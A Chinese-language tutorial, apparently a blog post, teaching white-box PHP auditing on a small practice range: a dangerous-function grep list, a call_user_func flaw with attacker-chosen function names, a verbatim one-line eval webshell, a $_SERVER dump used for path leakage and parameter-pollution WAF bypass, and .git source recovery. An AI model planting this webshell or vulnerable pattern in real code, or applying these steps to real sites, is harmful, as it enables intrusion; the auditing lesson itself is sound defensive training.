白盒审计的手感要从真实代码里练。这个教学靶场很小(十来个文件),但每个文件对应一类经典审计发现,正好当”危险函数 → 参数可控性 → 利用条件”三步法的练习题。
0x01 审计起点:危险函数索引
拿到源码先 grep 危险函数,再逐个反查”参数是否可控、中间有没有过滤”:
命令/代码执行:system exec eval assert call_user_func call_user_func_array create_function preg_replace(/e)
文件操作:include require file_put_contents fopen unlink
这个靶场命中了其中四个经典模式。
0x02 案例①:call_user_func 的”可控函数名”
Class A {
static function f(string $a){ system($a); }
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) unset($parameters['action']);
call_user_func($action, $parameters);
三步分析:
- 可控点:函数名
$action完全可控,参数$parameters是剔除 action 后的整个 GET 数组——函数名和实参双双可控,这是 call_user_func 系漏洞的理想形态; - 利用尝试:
call_user_func('system', $_GET)不成立——system 收到的是关联数组而非字符串,TypeError。call_user_func('A::f', $_GET)同理栽在string $a的类型声明上; - 实际危害:退一步是任意无参/单数组参函数调用——
action=phpinfo直接回显全部配置(版本/扩展/绝对路径,为下一步利用铺路),配合其他文件就是完整链。
两个审计要点值得记:unset($parameters['action']) 说明开发者意识到了”参数里混进函数名”的问题,但只摘了 action 一个键,没解决函数名可控本身;审计时对”开发者已做一半防护”的点要格外仔细——他防的那个方向往往就是你该走的方向。
0x03 案例②:一句话马的标准形态
<?php eval($_POST[123]); ?>
这是 WebShell 的”教学原始版”:eval + $_POST + 数字键名(省引号)。实战里它活不过任何静态查杀,但审计视角要会两件事:
- 灰盒场景下直接搜
eval(、assert(、preg_replace的/e、$_POST/$_GET直接进执行函数的组合; - 拿到这个马后第一时间做什么——见免杀篇:探 PHP 版本、测 disable_functions、选执行函数(这正是靶场把免杀课和审计课串起来的地方)。
0x04 案例③:$_SERVER 全量暴露与 HPP
<?php var_dump($_SERVER); exit;
看似无害的调试残留,实际暴露两个面:
- 信息泄露:
SCRIPT_FILENAME/DOCUMENT_ROOT给出绝对路径(写 webshell、INTO DUMPFILE落地都需要它)、SERVER_ADDR内网 IP、请求头全量; - HPP(HTTP Parameter Pollution)教材:配合重复参数请求对比
$_SERVER['QUERY_STRING'](原始串)与$_GET(解析后)的差异——同一参数解析两次结果不同,这就是 WAF 与后端解析差分攻击的原型(绕过手册的解析差异一节说的就是它)。
0x05 案例④:.git 泄露面
靶场目录自带 .git/(objects/refs/logs 一应俱全)——现实中这是最高频的源码泄露:扫描器发现 /.git/HEAD 返回 200 即可确认,用 git-dumper 类工具恢复全部源码,审计直接从黑盒变白盒。同目录的 db.inc.php(数据库凭据)和 git.php、create_oupeng_table.php(建表脚本)提示了恢复源码后的优先审计点:配置文件里的凭据、建表逻辑里的敏感字段。
0x06 审计三步法总结
① 危险函数 grep —— 建立可疑点清单
② 参数可控性回溯 —— 从危险函数向上追 taint,记录过滤/类型声明/框架封装
③ 利用条件评估 —— 无 RCE 也可能是信息泄露/组合链的一环,别急着判死
小靶场的价值在于把三步法走成肌肉记忆,真源码(几万行的框架二开)不过是同样的循环乘以耐力。